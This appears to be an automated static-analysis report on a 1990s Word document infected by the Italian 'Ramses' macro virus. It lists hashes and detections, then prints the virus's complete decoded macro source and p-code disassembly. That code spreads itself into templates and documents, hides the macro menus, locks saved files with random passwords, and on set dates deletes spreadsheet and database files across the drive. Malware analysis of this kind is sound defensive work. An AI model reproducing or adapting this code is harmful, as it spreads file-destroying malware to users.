Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c99133ef02332ce7…

MALICIOUS

Office (OLE)

47.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7966539aacc83f3ac86393309dd0bd56 SHA-1: 4932b6f5d7711170e5f6e6c2a1c3b1b73d3dcd74 SHA-256: c99133ef02332ce70d225493bf4c83650e16166ce1600ba3329d03a0e569abed
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy WordBasic macro virus, specifically 'Ramses', which is known to infect other documents. The presence of the 'AutoOpen' macro and the 'ToolsMacro' heuristic firing indicate its self-propagation capabilities. The ClamAV detection further confirms its malicious nature, classifying it as Doc.Trojan.Ramses-1.

Heuristics 4

  • ClamAV: Doc.Trojan.Ramses-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ramses-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    r__$(1) = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24791 bytes
SHA-256: 9579774f3292a4b25d5bfeb368181e17e2fadeac3e202035c35a8dede3a38c42
Detection
ClamAV: Doc.Trojan.Ramses-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Attribute VB_Name = "RAMSES"

Public Sub MAIN()
Attribute MAIN.VB_Description = "..."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.RAMSES.MAIN"
Dim a
Dim j
Dim i
Dim o
Dim h$
Dim k
Dim y
Dim d1 As Object
Dim w$
'
' RAMSES Virus: il Signore della Vita
' Italy 7/97 version 1.0
'
WordBasic.DisableAutoMacros
On Error Resume Next
ReDim r__$(8)
r__$(1) = "AutoOpen"
r__$(2) = "FileChiudi"
r__$(3) = "FileSalva"
r__$(4) = "FileStampa"
r__$(5) = "FileStampaPredef"
r__$(6) = "FileSalvaConNome"
r__$(7) = "FileApri"
r__$(8) = "RAMSES"
WordBasic.DisableInput 1
WordBasic.ScreenUpdating 0
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0, FastSaves:=0, _
                  AutoSave:=1, SaveInterval:="10"
a = -1
If WordBasic.[MacroFileName$]() = WordBasic.[FileName$]() Then
j = 0
For i = 1 To WordBasic.CountMacros()
If WordBasic.[MacroName$](i, 0) = "RAMSES" Then j = -1
Next
If Not (WordBasic.CountMacros() = 8 And j) Then
For i = WordBasic.CountMacros() To 1 Step -1
WordBasic.ToolsMacro Name:=WordBasic.[MacroName$](i, 0), Show:=1, Delete:=1
Next
For i = 1 To 8
WordBasic.MacroCopy WordBasic.[FileName$]() + ":" + r__$(i), r__$(i), 1
Next
For i = 0 To 1
If i Then o = 1 Else o = 6
For j = 1 To o Step 5
h$ = WordBasic.[MenuText$](i, j)
For k = WordBasic.CountMenuItems(h$, i) To 1 Step -1
If InStr(WordBasic.[MenuItemMacro$](h$, i, k), "Macro") Then
For y = i To 1
WordBasic.ToolsCustomizeMenus MenuType:=i, Position:=k, _
Name:=WordBasic.[MenuItemMacro$](h$, i, k), Menu:=h$, _
Remove:=1, Context:=0
Next
End If
If InStr(WordBasic.[MenuItemMacro$](h$, i, k), "Modelli") Then
WordBasic.ToolsCustomizeMenus MenuType:=i, Position:=k, _
Name:=WordBasic.[MenuItemMacro$](h$, i, k), Menu:=h$, _
Remove:=1, Context:=0
End If
Next
Next
Next
End If
Else
If WordBasic.CountMacros(1) <> 8 Then a = 0
For i = WordBasic.CountMacros(1) To 1 Step -1
If WordBasic.[Right$](WordBasic.[MacroDesc$](WordBasic.[MacroName$](i, 1)), 3) <> "..." Then
WordBasic.ToolsMacro Name:=WordBasic.[MacroName$](i, 1), Show:=3, Delete:=1
a = 0
End If
Next
End If
Dim d As Object: Set d = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs d
If d.Format = 1 Or d.Format = 0 Or d.Format = 6 Then
d.Format = 1
y = 0
Set d1 = WordBasic.DialogRecord.DocumentStatistics(False)
WordBasic.CurValues.DocumentStatistics d1
h$ = d1.FileSize
If (WordBasic.Minute(WordBasic.Now()) Mod 27 = 0) Or _
(WordBasic.Val(WordBasic.[Left$](h$, InStr(h$, " "))) > 46080) Then
w$ = ""
For i = 1 To 15
w$ = w$ + Chr(WordBasic.Int(Rnd() * 90) + 33)
Next
d.Password = w$
y = -1
Else
If Not a Then
For i = 1 To 8
WordBasic.MacroCopy r__$(i), WordBasic.[FileName$]() + ":" + r__$(i), 1
Next
y = -1
End If
End If
If y = -1 Then
WordBasic.FileSaveAs d
End If
End If
If WordBasic.Day(WordBasic.Now()) = 22 And (WordBasic.Month(WordBasic.Now()) Mod 2) = 0 Then
i = WordBasic.Int(Rnd() * 5)
Select Case i
Case 0
h$ = "*.xl*"
Case 1
h$ = "*.dbf"
Case 2
h$ = "*.wk*"
Case 3
h$ = "*.mdb"
Case 4
h$ = "*.ptt"
End Select
w$ = WordBasic.[Left$](WordBasic.[FileName$](), 3)
WordBasic.FileFind SearchPath:=w$, Name:=h$, SubDir:=1
k = WordBasic.CountFoundFiles() - 1
If k >= 0 Then
For y = 0 To k
WordBasic.Kill WordBasic.[FoundFileName$](y + 1)
Next
End If
WordBasic.MsgBox "La maledizione del Faraone ricada su di te !" + Chr(13) + _
Chr(10) + Chr(10) + "              Il Figlio della Luce", _
"RAMSES", 48
End If
WordBasic.DisableInput 0
WordBasic.ScreenUpdating 1
End Sub


Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "..."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.AutoOpen.MAIN"
On Error GoTo -1: On Error GoTo e
WordBasic.DisableAutoMacros
WordBasic.Call "RAMSES"
e:
End Sub

Attribute VB_Name = "FileApri"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Apre un documento od un modello esistente...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileApri.MAIN"
On Error GoTo -1: On Error GoTo e
WordBasic.DisableAutoMacros
Dim d As Object: Set d = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen d
WordBasic.Dialog.FileOpen d
WordBasic.FileOpen d
WordBasic.Call "RAMSES"
e:
End Sub

Attribute VB_Name = "FileSalva"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Salva il documento od il modello attivo...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileSalva.MAIN"
On Error GoTo -1: On Error GoTo e:
WordBasic.DisableAutoMacros
WordBasic.FileSave
On Error Resume Next
WordBasic.Call "RAMSES"
e:
End Sub

Attribute VB_Name = "FileChiudi"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Chiude tutte le finestre del documento attivo...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileChiudi.MAIN"
On Error Resume Next
WordBasic.DisableAutoMacros
Dim dl As Object: Set dl = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dl
If dl.NumChars <> "0" Then WordBasic.Call "RAMSES"
On Error GoTo -1: On Error GoTo e:
WordBasic.FileClose
e:
End Sub

Attribute VB_Name = "FileStampa"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Stampa il documento attivo...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileStampa.MAIN"
On Error Resume Next
WordBasic.DisableAutoMacros
WordBasic.Call "RAMSES"
On Error GoTo -1: On Error GoTo e:
Dim b As Object: Set b = WordBasic.DialogRecord.FilePrint(False)
WordBasic.CurValues.FilePrint b
WordBasic.Dialog.FilePrint b
WordBasic.FilePrint b
e:
End Sub

Attribute VB_Name = "FileSalvaConNome"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Salva una copia del documento in un file diverso...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileSalvaConNome.MAIN"
Dim t
Dim j$
On Error Resume Next
WordBasic.DisableAutoMacros
WordBasic.Call "RAMSES"
On Error GoTo -1: On Error GoTo e
Dim d As Object: Set d = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs d
If d.Format <> 1 Then
   WordBasic.Dialog.FileSaveAs d
   WordBasic.FileSaveAs d
   WordBasic.Call "RAMSES"
Else
   t = WordBasic.Window()
   j$ = d.Name
   WordBasic.FileNew Template:=WordBasic.[FileName$]()
   On Error GoTo -1: On Error GoTo h
   WordBasic.CurValues.FileSaveAs d
   d.Name = j$
   WordBasic.Dialog.FileSaveAs d
   d.Format = 1
   WordBasic.FileSaveAs d
   On Error GoTo -1: On Error GoTo e
   WordBasic.Call "RAMSES"
   If t >= WordBasic.Window() Then t = t + 1
   WordBasic.WindowList t
h:
   WordBasic.FileClose 2
End If
e:
End Sub

Attribute VB_Name = "FileStampaPredef"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Stampa il documento attivo usando le impostazioni correnti...."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.FileStampaPredef.MAIN"
On Error Resume Next
WordBasic.DisableAutoMacros
WordBasic.Call "RAMSES"
On Error GoTo -1: On Error GoTo e:
WordBasic.FilePrintDefault
e:
End Sub

' Processing file: /tmp/qstore_i7gmcq98
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1109 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #5:
' 	Label e 
' Line #6:
' 	EndSub 
' Macros/VBA/FileChiudi - 1534 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	Dim 
' 	VarDefn dl (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSummaryInfo 0x0001 
' 	Set dl 
' Line #5:
' 	Ld dl 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSummaryInfo 0x0001 
' Line #6:
' 	Ld dl 
' 	MemLd NumChars 
' 	LitStr 0x0001 "0"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' 	EndIf 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' 	BoS 0x0000 
' Line #8:
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0000 
' Line #9:
' 	Label e 
' Line #10:
' 	EndSub 
' Macros/VBA/FileSalva - 1267 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' 	BoS 0x0000 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #5:
' 	OnError (Resume Next) 
' Line #6:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #7:
' 	Label e 
' Line #8:
' 	EndSub 
' Macros/VBA/FileStampa - 1473 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' 	BoS 0x0000 
' Line #6:
' 	Dim 
' 	VarDefn B (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FilePrint 0x0001 
' 	Set B 
' Line #7:
' 	Ld B 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FilePrint 0x0001 
' Line #8:
' 	Ld B 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FilePrint 0x0001 
' Line #9:
' 	Ld B 
' 	Ld WordBasic 
' 	ArgsMemCall FilePrint 0x0001 
' Line #10:
' 	Label e 
' Line #11:
' 	EndSub 
' Macros/VBA/FileStampaPredef - 1329 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' 	BoS 0x0000 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemCall FilePrintDefault 0x0000 
' Line #7:
' 	Label e 
' Line #8:
' 	EndSub 
' Macros/VBA/FileSalvaConNome - 2378 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn t
' Line #3:
' 	Dim 
' 	VarDefn j
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #6:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' Line #8:
' 	Dim 
' 	VarDefn d (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set d 
' Line #9:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	Ld d 
' 	MemLd Format$ 
' 	LitDI2 0x0001 
' 	Ne 
' 	IfBlock 
' Line #11:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	Ld d 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #13:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #14:
' 	ElseBlock 
' Line #15:
' 	Ld WordBasic 
' 	ArgsMemLd Window 0x0000 
' 	St t 
' Line #16:
' 	Ld d 
' 	MemLd New 
' 	St j$ 
' Line #17:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	ParamNamed Template 
' 	Ld WordBasic 
' 	ArgsMemCall FileNew 0x0001 
' Line #18:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError h 
' Line #19:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #20:
' 	Ld j$ 
' 	Ld d 
' 	MemSt New 
' Line #21:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	LitDI2 0x0001 
' 	Ld d 
' 	MemSt Format$ 
' Line #23:
' 	Ld d 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #24:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' Line #25:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #26:
' 	Ld t 
' 	Ld WordBasic 
' 	ArgsMemLd Window 0x0000 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	Ld t 
' 	LitDI2 0x0001 
' 	Add 
' 	St t 
' 	EndIf 
' Line #27:
' 	Ld t 
' 	Ld WordBasic 
' 	ArgsMemCall WindowList 0x0001 
' Line #28:
' 	Label h 
' Line #29:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0001 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Label e 
' Line #32:
' 	EndSub 
' Macros/VBA/FileApri - 1459 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError e 
' Line #3:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #4:
' 	Dim 
' 	VarDefn d (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileOpen 0x0001 
' 	Set d 
' Line #5:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileOpen 0x0001 
' Line #6:
' 	Ld d 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileOpen 0x0001 
' Line #7:
' 	Ld d 
' 	Ld WordBasic 
' 	ArgsMemCall FileOpen 0x0001 
' Line #8:
' 	LitStr 0x0006 "RAMSES"
' 	Ld WordBasic 
' 	ArgsMemCall Call 0x0001 
' Line #9:
' 	Label e 
' Line #10:
' 	EndSub 
' Macros/VBA/RAMSES - 7007 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn j
' Line #4:
' 	Dim 
' 	VarDefn i
' Line #5:
' 	Dim 
' 	VarDefn o
' Line #6:
' 	Dim 
' 	VarDefn h
' Line #7:
' 	Dim 
' 	VarDefn k
' Line #8:
' 	Dim 
' 	VarDefn y
' Line #9:
' 	Dim 
' 	VarDefn d1 (As Object)
' Line #10:
' 	Dim 
' 	VarDefn w
' Line #11:
' 	QuoteRem 0x0000 0x0000 ""
' Line #12:
' 	QuoteRem 0x0000 0x0024 " RAMSES Virus: il Signore della Vita"
' Line #13:
' 	QuoteRem 0x0000 0x0017 " Italy 7/97 version 1.0"
' Line #14:
' 	QuoteRem 0x0000 0x0000 ""
' Line #15:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #16:
' 	OnError (Resume Next) 
' Line #17:
' 	OptionBase 
' 	LitDI2 0x0008 
' 	Redim r__$ 0x0001 (As String)
' Line #18:
' 	LitStr 0x0008 "AutoOpen"
' 	LitDI2 0x0001 
' 	ArgsSt r__$ 0x0001 
' Line #19:
' 	LitStr 0x000A "FileChiudi"
' 	LitDI2 0x0002 
' 	ArgsSt r__$ 0x0001 
' Line #20:
' 	LitStr 0x0009 "FileSalva"
' 	LitDI2 0x0003 
' 	ArgsSt r__$ 0x0001 
' Line #21:
' 	LitStr 0x000A "FileStampa"
' 	LitDI2 0x0004 
' 	ArgsSt r__$ 0x0001 
' Line #22:
' 	LitStr 0x0010 "FileStampaPredef"
' 	LitDI2 0x0005 
' 	ArgsSt r__$ 0x0001 
' Line #23:
' 	LitStr 0x0010 "FileSalvaConNome"
' 	LitDI2 0x0006 
' 	ArgsSt r__$ 0x0001 
' Line #24:
' 	LitStr 0x0008 "FileApri"
' 	LitDI2 0x0007 
' 	ArgsSt r__$ 0x0001 
' Line #25:
' 	LitStr 0x0006 "RAMSES"
' 	LitDI2 0x0008 
' 	ArgsSt r__$ 0x0001 
' Line #26:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #27:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall ScreenUpdating 0x0001 
' Line #28:
' 	LineCont 0x0004 0B 00 12 00
' 	LitDI2 0x0000 
' 	ParamNamed GlobalDotPrompt 
' 	LitDI2 0x0000 
' 	ParamNamed FastSaves 
' 	LitDI2 0x0001 
' 	ParamNamed AutoSave 
' 	LitStr 0x0002 "10"
' 	ParamNamed SaveInterval 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0004 
' Line #29:
' 	LitDI2 0x0001 
' 	UMi 
' 	St a 
' Line #30:
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	Eq 
' 	IfBlock 
' Line #31:
' 	LitDI2 0x0000 
' 	St j 
' Line #32:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0000 
' 	For 
' Line #33:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0006 "RAMSES"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	UMi 
' 	St j 
' 	EndIf 
' Line #34:
' 	StartForVariable 
' 	Next 
' Line #35:
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0000 
' 	LitDI2 0x0008 
' 	Eq 
' 	Ld j 
' 	And 
' 	Paren 
' 	Not 
' 	IfBlock 
' Line #36:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	UMi 
' 	ForStep 
' Line #37:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Show 
' 	LitDI2 0x0001 
' 	ParamNamed Delete 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsMacro 0x0003 
' Line #38:
' 	StartForVariable 
' 	Next 
' Line #39:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0008 
' 	For 
' Line #40:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld i 
' 	ArgsLd r__$ 0x0001 
' 	Add 
' 	Ld i 
' 	ArgsLd r__$ 0x0001 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #41:
' 	StartForVariable 
' 	Next 
' Line #42:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0001 
' 	For 
' Line #43:
' 	Ld i 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St o 
' 	Else 
' 	BoSImplicit 
' 	LitDI2 0x0006 
' 	St o 
' 	EndIf 
' Line #44:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld o 
' 	LitDI2 0x0005 
' 	ForStep 
' Line #45:
' 	Ld i 
' 	Ld j 
' 	Ld WordBasic 
' 	ArgsMemLd [MenuText$] 0x0002 
' 	St h$ 
' Line #46:
' 	StartForVariable 
' 	Ld k 
' 	EndForVariable 
' 	Ld h$ 
' 	Ld i 
' 	Ld WordBasic 
' 	ArgsMemLd CountMenuItems 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	UMi 
' 	ForStep 
' Line #47:
' 	Ld h$ 
' 	Ld i 
' 	Ld k 
' 	Ld WordBasic 
' 	ArgsMemLd [MenuItemMacro$] 0x0003 
' 	LitStr 0x0005 "Macro"
' 	FnInStr 
' 	IfBlock 
' Line #48:
' 	StartForVariable 
' 	Ld y 
' 	EndForVariable 
' 	Ld i 
' 	LitDI2 0x0001 
' 	For 
' Line #49:
' 	LineCont 0x0008 0B 00 00 00 1E 00 00 00
' 	Ld i 
' 	ParamNamed MenuType 
' 	Ld k 
' 	ParamNamed Position 
' 	Ld h$ 
' 	Ld i 
' 	Ld k 
' 	Ld WordBasic 
' 	ArgsMemLd [MenuItemMacro$] 0x0003 
' 	ParamNamed New 
' 	Ld h$ 
' 	ParamNamed Menu 
' 	LitDI2 0x0001 
' 	ParamNamed Remove 
' 	LitDI2 0x0000 
' 	ParamNamed Context 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsCustomizeMenus 0x0006 
' Line #50:
' 	StartForVariable 
' 	Next 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Ld h$ 
' 	Ld i 
' 	Ld k 
' 	Ld WordBasic 
' 	ArgsMemLd [MenuItemMacro$] 0x0003 
' 	LitStr 0x0007 "Modelli"
' 	FnInStr 
' 	IfBlock 
' Line #53:
' 	LineCont 0x0008 0B 00 00 00 1E 00 00 00
' 	Ld i 
' 	ParamNamed MenuType 
' 	Ld k 
' 	ParamNamed Position 
' 	Ld h$ 
' 	Ld i 
' 	Ld k 
' 	Ld WordBasic 
' 	ArgsMemLd [MenuItemMacro$] 0x0003 
' 	ParamNamed New 
' 	Ld h$ 
' 	ParamNamed Menu 
' 	LitDI2 0x0001 
' 	ParamNamed Remove 
' 	LitDI2 0x0000 
' 	ParamNamed Context 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsCustomizeMenus 0x0006 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	StartForVariable 
' 	Next 
' Line #56:
' 	StartForVariable 
' 	Next 
' Line #57:
' 	StartForVariable 
' 	Next 
' Line #58:
' 	EndIfBlock 
' Line #59:
' 	ElseBlock 
' Line #60:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0008 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0000 
' 	St a 
' 	EndIf 
' Line #61:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	UMi 
' 	ForStep 
' Line #62:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroDesc$] 0x0001 
' 	LitDI2 0x0003 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	LitStr 0x0003 "..."
' 	Ne 
' 	IfBlock 
' Line #63:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	ParamNamed New 
' 	LitDI2 0x0003 
' 	ParamNamed Show 
' 	LitDI2 0x0001 
' 	ParamNamed Delete 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsMacro 0x0003 
' Line #64:
' 	LitDI2 0x0000 
' 	St a 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	StartForVariable 
' 	Next 
' Line #67:
' 	EndIfBlock 
' Line #68:
' 	Dim 
' 	VarDefn d (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
…

Open this report in the interactive analyzer, or submit your own file for analysis.